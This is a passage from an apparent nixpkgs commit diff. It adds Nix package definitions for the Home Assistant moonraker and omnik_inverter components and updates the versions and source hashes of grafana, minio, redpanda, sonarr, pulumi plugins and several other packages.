+    description = "This component adds electricity prices from stock exchange EPEX Spot to Home Assistant";
+    homepage = "https://github.com/mampfes/ha_epex_spot";
+    maintainers = with maintainers; [ _9R ];
+    license = licenses.mit;
+  };
+}
diff --git a/pkgs/servers/home-assistant/custom-components/moonraker/default.nix b/pkgs/servers/home-assistant/custom-components/moonraker/default.nix
new file mode 100644
index 000000000000..660847ddd2e3
--- /dev/null
+++ b/pkgs/servers/home-assistant/custom-components/moonraker/default.nix
@@ -0,0 +1,35 @@
+{ lib
+, fetchFromGitHub
+, buildHomeAssistantComponent
+, moonraker-api
+}:
+
+buildHomeAssistantComponent rec {
+  owner = "marcolivierarsenault";
+  domain = "moonraker";
+  version = "1.1.1";
+
+  src = fetchFromGitHub {
+    owner = "marcolivierarsenault";
+    repo = "moonraker-home-assistant";
+    rev = "refs/tags/${version}";
+    hash = "sha256-jxMi4hmSVBU9ztoHxFINoJo8klirfo6j7gWty7FXFkQ=";
+  };
+
+  propagatedBuildInputs = [
+    moonraker-api
+  ];
+
+  #skip phases with nothing to do
+  dontConfigure = true;
+  dontBuild = true;
+  doCheck = false;
+
+  meta = with lib; {
+    changelog = "https://github.com/marcolivierarsenault/moonraker-home-assistant/releases/tag/${version}";
+    description = "Custom integration for Moonraker and Klipper in Home Assistant";
+    homepage = "https://github.com/marcolivierarsenault/moonraker-home-assistant";
+    maintainers = with maintainers; [ _9R ];
+    license = licenses.mit;
+  };
+}
diff --git a/pkgs/servers/home-assistant/custom-components/omnik_inverter/default.nix b/pkgs/servers/home-assistant/custom-components/omnik_inverter/default.nix
new file mode 100644
index 000000000000..a0a33f644bac
--- /dev/null
+++ b/pkgs/servers/home-assistant/custom-components/omnik_inverter/default.nix
@@ -0,0 +1,32 @@
+{ lib
+, fetchFromGitHub
+, buildHomeAssistantComponent
+, omnikinverter
+}:
+
+buildHomeAssistantComponent rec {
+  owner = "robbinjanssen";
+  domain = "omnik_inverter";
+  version = "2.6.4";
+
+  src = fetchFromGitHub {
+    owner = "robbinjanssen";
+    repo = "home-assistant-omnik-inverter";
+    rev = "refs/tags/v${version}";
+    hash = "sha256-O1NxT7u27xLydPqEqH72laU0tlYVrMPo0TwWIVNJ+0Q=";
+  };
+
+  propagatedBuildInputs = [
+    omnikinverter
+  ];
+
+  doCheck = false; # no tests
+
+  meta = with lib; {
+    changelog = "https://github.com/robbinjanssen/home-assistant-omnik-inverter/releases/tag/v${version}";
+    description = "The Omnik Inverter integration will scrape data from an Omnik inverter connected to your local network";
+    homepage = "https://github.com/robbinjanssen/home-assistant-omnik-inverter";
+    maintainers = with maintainers; [ _9R ];
+    license = licenses.mit;
+  };
+}
diff --git a/pkgs/servers/minio/default.nix b/pkgs/servers/minio/default.nix
index f1553889e4de..e36a1662907d 100644
--- a/pkgs/servers/minio/default.nix
+++ b/pkgs/servers/minio/default.nix
@@ -21,16 +21,16 @@ let
 in
 buildGoModule rec {
   pname = "minio";
-  version = "2024-03-07T00-43-48Z";
+  version = "2024-03-10T02-53-48Z";
 
   src = fetchFromGitHub {
     owner = "minio";
     repo = "minio";
     rev = "RELEASE.${version}";
-    hash = "sha256-W82479M4Bgq1ERpiAR6Zc5YDr8vADOtQThV6lSlDuTs=";
+    hash = "sha256-XcJm5FcX0NNjjY/WDQyR2RF8J3GkqEvpAhFDZj9ztks=";
   };
 
-  vendorHash = "sha256-VHokz58pSZd2Tt3hG8MgpeilEMFGjOZ/y6YKt9Fe5xw=";
+  vendorHash = "sha256-0W2D5CQkrZMPlehvmExeQ6txwEyRe3XZl0Bv0Ww5COs=";
 
   doCheck = false;
 
diff --git a/pkgs/servers/monitoring/grafana-agent/default.nix b/pkgs/servers/monitoring/grafana-agent/default.nix
index 622147f92f97..0597eaa75351 100644
--- a/pkgs/servers/monitoring/grafana-agent/default.nix
+++ b/pkgs/servers/monitoring/grafana-agent/default.nix
@@ -15,16 +15,16 @@
 
 buildGoModule rec {
   pname = "grafana-agent";
-  version = "0.40.2";
+  version = "0.40.3";
 
   src = fetchFromGitHub {
     owner = "grafana";
     repo = "agent";
     rev = "v${version}";
-    hash = "sha256-muSgFBg+/XWx2f9EGYYLQ0wUzZ7AxEC2F19A5Qs5cgw=";
+    hash = "sha256-oezfeUW+CVwqe8T3pEkLU1vxI1dntMQ6cvE9AqxKtR8=";
   };
 
-  vendorHash = "sha256-ekFl+aSmyUvgv4pkpS86HwPMfqtDaJEaZhWiwHjHp9g=";
+  vendorHash = "sha256-64etBHKlEPByDzrEP3YYhgR4vnj4yvHk6cjB92myqyc=";
   proxyVendor = true; # darwin/linux hash mismatch
 
   frontendYarnOfflineCache = fetchYarnDeps {
diff --git a/pkgs/servers/monitoring/grafana/default.nix b/pkgs/servers/monitoring/grafana/default.nix
index 8b2a9c02e0df..789847770c55 100644
--- a/pkgs/servers/monitoring/grafana/default.nix
+++ b/pkgs/servers/monitoring/grafana/default.nix
@@ -18,29 +18,18 @@ let
     done
     rm -r packages/grafana-e2e
   '';
-
-  # Injects a `t.Skip()` into a given test since
-  # there's apparently no other way to skip tests here.
-  skipTest = lineOffset: testCase: file:
-    let
-      jumpAndAppend = lib.concatStringsSep ";" (lib.replicate (lineOffset - 1) "n" ++ [ "a" ]);
-    in ''
-      sed -i -e '/${testCase}/{
-      ${jumpAndAppend} t.Skip();
-      }' ${file}
-    '';
 in
 buildGoModule rec {
   pname = "grafana";
-  version = "10.3.3";
+  version = "10.4.0";
 
-  excludedPackages = [ "alert_webhook_listener" "clean-swagger" "release_publisher" "slow_proxy" "slow_proxy_mac" "macaron" "devenv" "modowners" ];
+  subPackages = [ "pkg/cmd/grafana" "pkg/cmd/grafana-server" "pkg/cmd/grafana-cli" ];
 
   src = fetchFromGitHub {
     owner = "grafana";
     repo = "grafana";
     rev = "v${version}";
-    hash = "sha256-uAfHcW9j+al8IIH2N6X5wssQmSXqJjVQzwERBCxGxVE=";
+    hash = "sha256-Rp2jGspbmqJFzSbiVy2/5oqQJnAdGG/T+VNBHVsHSwg=";
   };
 
   offlineCache = stdenv.mkDerivation {
@@ -48,7 +37,7 @@ buildGoModule rec {
     inherit src;
     nativeBuildInputs = [
       yarn nodejs cacert
-      jq moreutils
+      jq moreutils python3
     ];
     postPatch = ''
       ${patchAwayGrafanaE2E}
@@ -67,12 +56,12 @@ buildGoModule rec {
     dontInstall = true;
     dontFixup = true;
     outputHashMode = "recursive";
-    outputHash = "sha256-70eMa8E483f/Bz7iy+4Seap1EfIdjD5krnt6W9CUows=";
+    outputHash = "sha256-QdyXSPshzugkDTJoUrJlHNuhPAyR9gae5Cbk8Q8FSl4=";
   };
 
   disallowedRequisites = [ offlineCache ];
 
-  vendorHash = "sha256-nGv/DBNnQ4AOJtrsYIGLCrV1xNmBN0dDf6u46R3TAHo=";
+  vendorHash = "sha256-cNkMVLXp3hPMcW0ilOM0VlrrDX/IsZaze+/6qlTfmRs=";
 
   nativeBuildInputs = [ wire yarn jq moreutils removeReferencesTo python3 ];
 
@@ -90,35 +79,6 @@ buildGoModule rec {
     GOARCH= CGO_ENABLED=0 go generate ./kinds/gen.go
     GOARCH= CGO_ENABLED=0 go generate ./public/app/plugins/gen.go
     GOARCH= CGO_ENABLED=0 go generate ./pkg/kindsys/report.go
-
-    # Work around `main module (github.com/grafana/grafana) does not contain package github.com/grafana/grafana/pkg/util/xorm`.
-    # Apparently these files confuse the dependency resolution for the go builder implemented here.
-    rm pkg/util/xorm/go.{mod,sum}
-
-    # The testcase makes an API call against grafana.com:
-    #
-    # [...]
-    # grafana> t=2021-12-02T14:24:58+0000 lvl=dbug msg="Failed to get latest.json repo from github.com" logger=update.checker error="Get \"https://raw.githubusercontent.com/grafana/grafana/main/latest.json\": dial tcp: lookup raw.githubusercontent.com on [::1]:53: read udp [::1]:36391->[::1]:53: read: connection refused"
-    # grafana> t=2021-12-02T14:24:58+0000 lvl=dbug msg="Failed to get plugins repo from grafana.com" logger=plugin.manager error="Get \"https://grafana.com/api/plugins/versioncheck?slugIn=&grafanaVersion=\": dial tcp: lookup grafana.com on [::1]:53: read udp [::1]:41796->[::1]:53: read: connection refused"
-    ${skipTest 1 "Request is not forbidden if from an admin" "pkg/tests/api/plugins/api_plugins_test.go"}
-
-    # Skip a flaky test (https://github.com/NixOS/nixpkgs/pull/126928#issuecomment-861424128)
-    ${skipTest 2 "it should change folder successfully and return correct result" "pkg/services/libraryelements/libraryelements_patch_test.go"}
-
-    # Skip flaky tests (https://logs.ofborg.org/?key=nixos/nixpkgs.263185&attempt_id=5b056a17-67a7-4b74-9dc7-888eb1d6c2dd)
-    ${skipTest 1 "TestIntegrationRulerAccess" "pkg/tests/api/alerting/api_alertmanager_test.go"}
-    ${skipTest 1 "TestIntegrationRulePause" "pkg/tests/api/alerting/api_ruler_test.go"}
-
-    # main module (github.com/grafana/grafana) does not contain package github.com/grafana/grafana/scripts/go
-    rm -r scripts/go
-
-    # Requires making API calls against storage.googleapis.com:
-    #
-    # [...]
-    # grafana> 2023/08/24 08:30:23 failed to copy objects, err: Post "https://storage.googleapis.com/upload/storage/v1/b/grafana-testing-repo/o?alt=json&name=test-path%2Fbuild%2FTestCopyLocalDir2194093976%2F001%2Ffile2.txt&prettyPrint=false&projection=full&uploadType=multipart": dial tcp: lookup storage.googleapis.com on [::1]:53: read udp [::1]:36436->[::1]:53: read: connection refused
-    # grafana> panic: test timed out after 10m0s
-    rm pkg/build/gcloud/storage/gsutil_test.go
-
     # Setup node_modules
     export HOME="$(mktemp -d)"
 
diff --git a/pkgs/servers/monitoring/prometheus/smartctl-exporter/default.nix b/pkgs/servers/monitoring/prometheus/smartctl-exporter/default.nix
index 2e916367c924..9b2f145f0f35 100644
--- a/pkgs/servers/monitoring/prometheus/smartctl-exporter/default.nix
+++ b/pkgs/servers/monitoring/prometheus/smartctl-exporter/default.nix
@@ -6,16 +6,16 @@
 
 buildGoModule rec {
   pname = "smartctl_exporter";
-  version = "0.11.0";
+  version = "0.12.0";
 
   src = fetchFromGitHub {
     owner = "prometheus-community";
     repo = pname;
     rev = "refs/tags/v${version}";
-    hash = "sha256-oUdMsUAlN/4uRSzxQrO0TOVRgyEdxYkGtf3VoNbxdhw=";
+    hash = "sha256-QQoWAsnE/7ifvgEfQJ6cbzmwOrE7oe2zalTbu/P7r18=";
   };
 
-  vendorHash = "sha256-0WLI+nLhRkf1CGhSer1Jkv1nUho5sxIbTE/Mf5JmX7U=";
+  vendorHash = "sha256-WUB2FgBl4Tybz7T0yvcSYIlG75NEhXpn1F0yuB9F21g=";
 
   ldflags = [
     "-X github.com/prometheus/common/version.Version=${version}"
diff --git a/pkgs/servers/redpanda/default.nix b/pkgs/servers/redpanda/default.nix
index e593b2f57307..017356ed5efe 100644
--- a/pkgs/servers/redpanda/default.nix
+++ b/pkgs/servers/redpanda/default.nix
@@ -7,12 +7,12 @@
 , stdenv
 }:
 let
-  version = "23.3.7";
+  version = "23.3.8";
   src = fetchFromGitHub {
     owner = "redpanda-data";
     repo = "redpanda";
     rev = "v${version}";
-    sha256 = "sha256-z5V9u81skkCBDoYGyC3ThGKI4KhQEdtmBqJSEbBHPF0=";
+    sha256 = "sha256-a5V9kvRm7Np0pE/gMHtlkgbIlKfY9ehFVU35QDwpHh0=";
   };
   server = callPackage ./server.nix { inherit src version; };
 in
@@ -21,7 +21,7 @@ buildGoModule rec {
   inherit doCheck src version;
   modRoot = "./src/go/rpk";
   runVend = false;
-  vendorHash = "sha256-dSCF44F+2GjWD/IcdA4fsfHsjVnX0bCXsG7r6C6ECak=";
+  vendorHash = "sha256-qjX0DVAZqr7Ec1dFs4zBlDpu69IkhgLkvy4FA7br7bk=";
 
   ldflags = [
     ''-X "github.com/redpanda-data/redpanda/src/go/rpk/pkg/cli/cmd/version.version=${version}"''
diff --git a/pkgs/servers/roon-server/default.nix b/pkgs/servers/roon-server/default.nix
index 767eb9e3631d..0ffa7871bd88 100644
--- a/pkgs/servers/roon-server/default.nix
+++ b/pkgs/servers/roon-server/default.nix
@@ -15,7 +15,7 @@
 , stdenv
 }:
 let
-  version = "2.0-1272";
+  version = "2.0-1382";
   urlVersion = builtins.replaceStrings [ "." "-" ] [ "00" "0" ] version;
 in
 stdenv.mkDerivation {
@@ -24,7 +24,7 @@ stdenv.mkDerivation {
 
   src = fetchurl {
     url = "https://download.roonlabs.com/updates/production/RoonServer_linuxx64_${urlVersion}.tar.bz2";
-    hash = "sha256-oLHdgOaGnu7hRm863ryf4r05nN8wQL7WKxN3ONG67J4=";
+    hash = "sha256-KOZkTsQrUYh3geezsA1h2ZcU3Ns/v67iD1QNWalA6H4=";
   };
 
   dontConfigure = true;
diff --git a/pkgs/servers/sonarr/default.nix b/pkgs/servers/sonarr/default.nix
index cf56476719a1..f0a85b251db0 100644
--- a/pkgs/servers/sonarr/default.nix
+++ b/pkgs/servers/sonarr/default.nix
@@ -10,15 +10,15 @@ let
   }."${stdenv.hostPlatform.system}" or (throw "Unsupported system: ${stdenv.hostPlatform.system}");
 
   hash = {
-    x64-linux_hash = "sha256-9YNhyhxnnn2CesXLJH5Cs7yB9w23YUAZPrk9vEHvevk=";
-    arm64-linux_hash = "sha256-RBCyfozmBpWrmsfMcdb1BqcBXj64CMDrgpMZTzj85ZQ=";
-    x64-osx_hash = "sha256-+AKENBZohBUEKQEM3L69EzC84MhCX3fGvsNFn5p2v84=";
-    arm64-osx_hash = "sha256-Arx8usecAN+d0NGL7Hv+rB4GG7p/KLAaqpJFgNg7C2Y=";
+    x64-linux_hash = "sha256-S9j6zXEJM963tki88awPW0uK0fQd1bBwBcsHBlDSg/E=";
+    arm64-linux_hash = "sha256-73FkmdliX5SNrQRRZeAkU0G96ehCd9mT8NVyJoZiA38=";
+    x64-osx_hash = "sha256-XZ4ITJtc2ENw7IAYrBZF0N/NCjUVve+SkWhu6kfQIQA=";
+    arm64-osx_hash = "sha256-2tA17mDuCX5X0U96Rp6QUQOVWvu9sPMOimD6kks+S00=";
   }."${arch}-${os}_hash";
 in
 stdenv.mkDerivation rec {
   pname = "sonarr";
-  version = "4.0.1.929";
+  version = "4.0.2.1183";
 
   src = fetchurl {
     url = "https://github.com/Sonarr/Sonarr/releases/download/v${version}/Sonarr.main.${version}.${os}-${arch}.tar.gz";
diff --git a/pkgs/servers/sql/postgresql/ext/plpgsql_check.nix b/pkgs/servers/sql/postgresql/ext/plpgsql_check.nix
index c2c974a8d872..ac6f0e948722 100644
--- a/pkgs/servers/sql/postgresql/ext/plpgsql_check.nix
+++ b/pkgs/servers/sql/postgresql/ext/plpgsql_check.nix
@@ -2,13 +2,13 @@
 
 stdenv.mkDerivation rec {
   pname = "plpgsql-check";
-  version = "2.7.3";
+  version = "2.7.4";
 
   src = fetchFromGitHub {
     owner = "okbob";
     repo = "plpgsql_check";
     rev = "v${version}";
-    hash = "sha256-VFM8SplBGlJd2RfUgS0FLH+xkyLOCVY2jaK6mn878CQ=";
+    hash = "sha256-qPYH6i8XJZVH+5zM/gozf+0Kts/Tzv6fRWkayGEe+5U=";
   };
 
   buildInputs = [ postgresql ];
diff --git a/pkgs/shells/fish/plugins/forgit.nix b/pkgs/shells/fish/plugins/forgit.nix
index e5e226665989..920eb5be382e 100644
--- a/pkgs/shells/fish/plugins/forgit.nix
+++ b/pkgs/shells/fish/plugins/forgit.nix
@@ -2,13 +2,13 @@
 
 buildFishPlugin rec {
   pname = "forgit";
-  version = "24.03.1";
+  version = "24.03.2";
 
   src = fetchFromGitHub {
     owner = "wfxr";
     repo = "forgit";
     rev = version;
-    hash = "sha256-DIaoD6o+oY+/FnwQadQh0XqMVP4xbE8gAPtWrvwsG+c=";
+    hash = "sha256-DnGQHWx3uFHFEI1kMTB6hfmaE4tY4O/hesPKj5s4uwQ=";
   };
 
   postInstall = ''
diff --git a/pkgs/shells/nix-your-shell/default.nix b/pkgs/shells/nix-your-shell/default.nix
index 9489fd4cf5a6..1e4f89bd7525 100644
--- a/pkgs/shells/nix-your-shell/default.nix
+++ b/pkgs/shells/nix-your-shell/default.nix
@@ -5,16 +5,16 @@
 }:
 rustPlatform.buildRustPackage rec {
   pname = "nix-your-shell";
-  version = "1.4.1";
+  version = "1.4.3";
 
   src = fetchFromGitHub {
     owner = "MercuryTechnologies";
     repo = pname;
     rev = "v${version}";
-    hash = "sha256-pa52demadLi5VN+GixQKVL9iD1kb9c32PqIh86BIUR8=";
+    hash = "sha256-/LsTCH16EgoTUCSo4Hzxl/W69+aqLfe/Ld+WQos4Ozo=";
   };
 
-  cargoHash = "sha256-btM9AUH1S1AA8gEwXwouOT/E2oio0CmOZ738M+DUMiE=";
+  cargoHash = "sha256-Z0r/HDAK1+1wHaLZ+HPbS72vsuK7GLdBZm6j5p+KARs=";
 
   meta = with lib; {
     mainProgram = "nix-your-shell";
diff --git a/pkgs/shells/zsh/zsh-fzf-tab/default.nix b/pkgs/shells/zsh/zsh-fzf-tab/default.nix
index 97a6992ee672..dcb3ffd19ec7 100644
--- a/pkgs/shells/zsh/zsh-fzf-tab/default.nix
+++ b/pkgs/shells/zsh/zsh-fzf-tab/default.nix
@@ -4,13 +4,13 @@ let
   INSTALL_PATH="${placeholder "out"}/share/fzf-tab";
 in stdenv.mkDerivation rec {
   pname = "zsh-fzf-tab";
-  version = "1.0";
+  version = "1.1.1";
 
   src = fetchFromGitHub {
     owner = "Aloxaf";
     repo = "fzf-tab";
     rev = "v${version}";
-    hash = "sha256-o3R9dh9t8w/SVO3IUeJqP8kkQxwnRjNX8oZ4wSZxBYo=";
+    hash = "sha256-0/YOL1/G2SWncbLNaclSYUz7VyfWu+OB8TYJYm4NYkM=";
   };
 
   strictDeps = true;
@@ -31,8 +31,8 @@ in stdenv.mkDerivation rec {
     pushd modules
 
     tar -xf ${zsh.src}
-    ln -s $(pwd)/src/fzftab.c zsh-${zsh.version}/Src/Modules/
-    ln -s $(pwd)/src/fzftab.mdd zsh-${zsh.version}/Src/Modules/
+    ln -s $(pwd)/Src/fzftab.c zsh-${zsh.version}/Src/Modules/
+    ln -s $(pwd)/Src/fzftab.mdd zsh-${zsh.version}/Src/Modules/
 
     pushd zsh-${zsh.version}
 
diff --git a/pkgs/tools/admin/pulumi-bin/data.nix b/pkgs/tools/admin/pulumi-bin/data.nix
index fcfeac1753da..5acba25c0850 100644
--- a/pkgs/tools/admin/pulumi-bin/data.nix
+++ b/pkgs/tools/admin/pulumi-bin/data.nix
@@ -1,12 +1,12 @@
 # DO NOT EDIT! This file is generated automatically by update.sh
 { }:
 {
-  version = "3.109.0";
+  version = "3.111.0";
   pulumiPkgs = {
     x86_64-linux = [
       {
-        url = "https://get.pulumi.com/releases/sdk/pulumi-v3.109.0-linux-x64.tar.gz";
-        sha256 = "07wvrifxwks7nal8f5ss6ks53ff4dn6gfa9r45n5h5ihq3qp5jc8";
+        url = "https://get.pulumi.com/releases/sdk/pulumi-v3.111.0-linux-x64.tar.gz";
+        sha256 = "19nlzw60bsysqldzdg9zlxc9qvwzlfa9bn8wvffndg0xndy6ghwh";
       }
       {
         url = "https://api.pulumi.com/releases/plugins/pulumi-resource-aiven-v6.12.0-linux-amd64.tar.gz";
@@ -21,28 +21,28 @@
         sha256 = "10i4fw6f21mf0mrmhjmjhbf03p5lqp8lvdkasnmdkq52j0s1qrr2";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-artifactory-v6.3.0-linux-amd64.tar.gz";
-        sha256 = "12bnyfia8iskwmwliyqdx3bxxvq1gc2skn02c4jv92zclv08dw8q";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-artifactory-v6.3.1-linux-amd64.tar.gz";
+        sha256 = "19c63g7nahvpr73js9r3f4n6y7j3zxywrbzhnvnzysix05c23n3z";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-auth0-v3.3.0-linux-amd64.tar.gz";
-        sha256 = "0rip66w2xvak8cxc1qjd9dzjcn43nzk1g4kny7ada6wp7svp7qlv";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-auth0-v3.3.1-linux-amd64.tar.gz";
+        sha256 = "0984gpc5ds1bycvl1jwd3ifl6933vkd32w2mbyn3ik13wzxqm3q0";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-aws-v6.25.0-linux-amd64.tar.gz";
-        sha256 = "0mdjia35pz1rpbcf91dz54r9bpfiwsqz92x6bh20xayiqrzs3hin";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-aws-v6.25.1-linux-amd64.tar.gz";
+        sha256 = "1bwp6fxqaxgyhlakci2crk7qiwgymkmih5cnpcvmgxwvdw56ll4q";
       }
       {
         url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azuread-v5.47.2-linux-amd64.tar.gz";
         sha256 = "0d2swa7irx1xr18gs4p3can1bp1pckk5cggfl5cdfkrz966rv8cb";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azuredevops-v2.15.1-linux-amd64.tar.gz";
-        sha256 = "1a4n30yrpx6ipl1c5bc5p4c9d7nccs4i1difli93p2q7nnbbhmr0";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azuredevops-v3.0.0-linux-amd64.tar.gz";
+        sha256 = "1d6i9p3lw2hzn2q7ja3cqh00vx7ihm5lhs6pg9468hag8wvk230g";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azure-v5.68.0-linux-amd64.tar.gz";
-        sha256 = "01bs82sa2bzijfzsciddcsffbim74985hzrys6caghxgwdais3g6";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azure-v5.69.0-linux-amd64.tar.gz";
+        sha256 = "04jvyc63r7lxiy55nvh06ma8ndrv0b4kb3lbzz4djdfa613xzwjd";
       }
       {
         url = "https://api.pulumi.com/releases/plugins/pulumi-resource-cloudflare-v5.22.0-linux-amd64.tar.gz";
@@ -53,12 +53,12 @@
         sha256 = "1rjh73d5jq2p9ll6xann3mns4dsnb8jgnkndjxbgcpv45i0k1ih6";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-datadog-v4.26.0-linux-amd64.tar.gz";
-        sha256 = "0pmggp4sa151444bmkhcpp3qw1mr6arw2cm241pa1fslak3ay42f";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-datadog-v4.27.0-linux-amd64.tar.gz";
+        sha256 = "0x861p983val0ww0l0f7w75fw7rlhvpr300xng6klr5f1qwgpfqy";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-digitalocean-v4.26.0-linux-amd64.tar.gz";
-        sha256 = "13bmpksgx7p1zkddcipys3wlqpa4c9h62hdlwvvl664qb4wds4a0";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-digitalocean-v4.27.0-linux-amd64.tar.gz";
+        sha256 = "1p2xh52nrgkxzdg7pyyylf4zkh8cyn1663mdb8n93rx8fczq0cpl";
       }
       {
         url = "https://api.pulumi.com/releases/plugins/pulumi-resource-docker-v4.5.1-linux-amd64.tar.gz";
@@ -73,8 +73,8 @@
         sha256 = "06lzppd2y2qm4gxf54f0s4gps13kk2zv6zmar8lrk31w4sfr06j3";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-gcp-v7.13.0-linux-amd64.tar.gz";
-        sha256 = "1yjjnsw0k2bpvawixja244dm5hyr49jw5lv6sjkpk2nmwcsc2il5";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-gcp-v7.14.0-linux-amd64.tar.gz";
+        sha256 = "1wjhym8mz2nbw458g72zwsnm078iwyvcidx38wpc4y32nfx07082";
       }
       {
         url = "https://api.pulumi.com/releases/plugins/pulumi-resource-github-v6.1.0-linux-amd64.tar.gz";
@@ -93,12 +93,12 @@
         sha256 = "1i4hgvx94jdx5np5cy7pm36vz8l6hkn90pnhi1knwmak63mf4i0i";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-kubernetes-v4.9.0-linux-amd64.tar.gz";
-        sha256 = "1m5rsf339ik22ignn01hz5qp8yaifhw7niz5mjxl7h3d2q1hpqhq";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-kubernetes-v4.9.1-linux-amd64.tar.gz";
+        sha256 = "037ryw3w82pg9jvym5ha2l65gx693mn42ffqg3nb1bh8pc5m688d";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-linode-v4.15.0-linux-amd64.tar.gz";
-        sha256 = "10p4gsz6qj93fd0f9d1pvql501gpyrl684465b51xxrh29506nwk";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-linode-v4.16.0-linux-amd64.tar.gz";
+        sha256 = "08r17092rcvpqsmi6s2khjql71fbgrwyslknirdyh77ix7486kgm";
       }
       {
         url = "https://api.pulumi.com/releases/plugins/pulumi-resource-mailgun-v3.5.1-linux-amd64.tar.gz";
@@ -149,8 +149,8 @@
         sha256 = "0w7cgafkz1r55bz8n51v2rqhmmxzrf7ma60awzlfd2apyihghxyp";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-vsphere-v4.9.2-linux-amd64.tar.gz";
-        sha256 = "0jqbhqiws4v9ff5xakk5wnxghnnck4qaqvyxc2l246jsl9yy3z85";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-vsphere-v4.10.0-linux-amd64.tar.gz";
+        sha256 = "0j3g5d94x5hawlrvr2iya4l0lsqjvszkgrgwppna6cn5mqjpx7v0";
       }
       {
         url = "https://api.pulumi.com/releases/plugins/pulumi-resource-wavefront-v3.1.1-linux-amd64.tar.gz";
@@ -163,8 +163,8 @@
     ];
     x86_64-darwin = [
       {
-        url = "https://get.pulumi.com/releases/sdk/pulumi-v3.109.0-darwin-x64.tar.gz";
-        sha256 = "1ns57m5ibnxaq8rr1h2wxig1dx8bqfvpx8n6yr725fvywqyi0208";
+        url = "https://get.pulumi.com/releases/sdk/pulumi-v3.111.0-darwin-x64.tar.gz";
+        sha256 = "0z6bcdsm48cw0q6p3jrcbd920kwq56h81hd4qzf1akr5b0fqs8qk";
       }
       {
         url = "https://api.pulumi.com/releases/plugins/pulumi-resource-aiven-v6.12.0-darwin-amd64.tar.gz";
@@ -179,28 +179,28 @@
         sha256 = "1mpvr73nnaznm79by25za2lg6yqr25kz888fsyr0f26fjg1pyayz";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-artifactory-v6.3.0-darwin-amd64.tar.gz";
-        sha256 = "0y8dag6f66997czaix2a5gib97z3idq5vqg1c2r6g1qgpps0mhk0";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-artifactory-v6.3.1-darwin-amd64.tar.gz";
+        sha256 = "0zdvggqmg6ddgyhnb88w97c53kh5mc885478g1ckbryxzsqhasi0";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-auth0-v3.3.0-darwin-amd64.tar.gz";
-        sha256 = "0dd58lh60387kgcx0z4dd5w31q2b3598dcx5hf75p8hlq2sg9ndp";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-auth0-v3.3.1-darwin-amd64.tar.gz";
+        sha256 = "0369vlly2x6sl59b4qha55yhhyjjpx38vlkmsbbqzla3da7zabf0";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-aws-v6.25.0-darwin-amd64.tar.gz";
-        sha256 = "0yz3jfrkwzdgprpzq92qjz1j5zqwpsf5gc5cbcy0z3jn3xb2a8b3";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-aws-v6.25.1-darwin-amd64.tar.gz";
+        sha256 = "1dhykjnvn1qr65nmbdafxl1q3vqfqc152x540syf5v3avcf0kqdb";
       }
       {
         url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azuread-v5.47.2-darwin-amd64.tar.gz";
         sha256 = "1bjvbqdhd49ayxcv60rii4y3ngafjfzz0w9flra9wkh8hv8z1xxz";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azuredevops-v2.15.1-darwin-amd64.tar.gz";
-        sha256 = "0q9hnlnm4xpphbm4akn1sc55i7l3jw76k4wvi1ykh0abrjfamdwg";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azuredevops-v3.0.0-darwin-amd64.tar.gz";
+        sha256 = "1gzb7srxdzz1vhrzzzfxahkzr26b3smd62l70dwn605cich3vwyw";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azure-v5.68.0-darwin-amd64.tar.gz";
-        sha256 = "0rhd1sw6r2kr5a931qjvw25p2vlvqbnrcc4diwypzkpjjq3kb3jz";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azure-v5.69.0-darwin-amd64.tar.gz";
+        sha256 = "0iffp6czzks4ak979dcgg8cjvvhv5mh57cplk0aq79ssjhppsbcj";
       }
       {
         url = "https://api.pulumi.com/releases/plugins/pulumi-resource-cloudflare-v5.22.0-darwin-amd64.tar.gz";
@@ -211,12 +211,12 @@
         sha256 = "1bvwgn823zwqs8wmzwsxc0zf0pdmk7ykh5qvnffwrixvhmdx68a0";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-datadog-v4.26.0-darwin-amd64.tar.gz";
-        sha256 = "1g5vzd76wg79p248k8jfg3lx0l5hr0v5w8i3q6g34pazh4bfhmyq";
+        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-datadog-v4.27.0-darwin-amd64.tar.gz";
+        sha256 = "0nnp4nq5sj85rf33qqn7dgfva1d2l5i8vs7flac1mj9sdxqdz46b";
       }
       {
-        url = "https://api.pulumi.com/releases/plugins/pulumi-resource-digitalocean-v4.26.0-darwin-amd64.tar.gz";
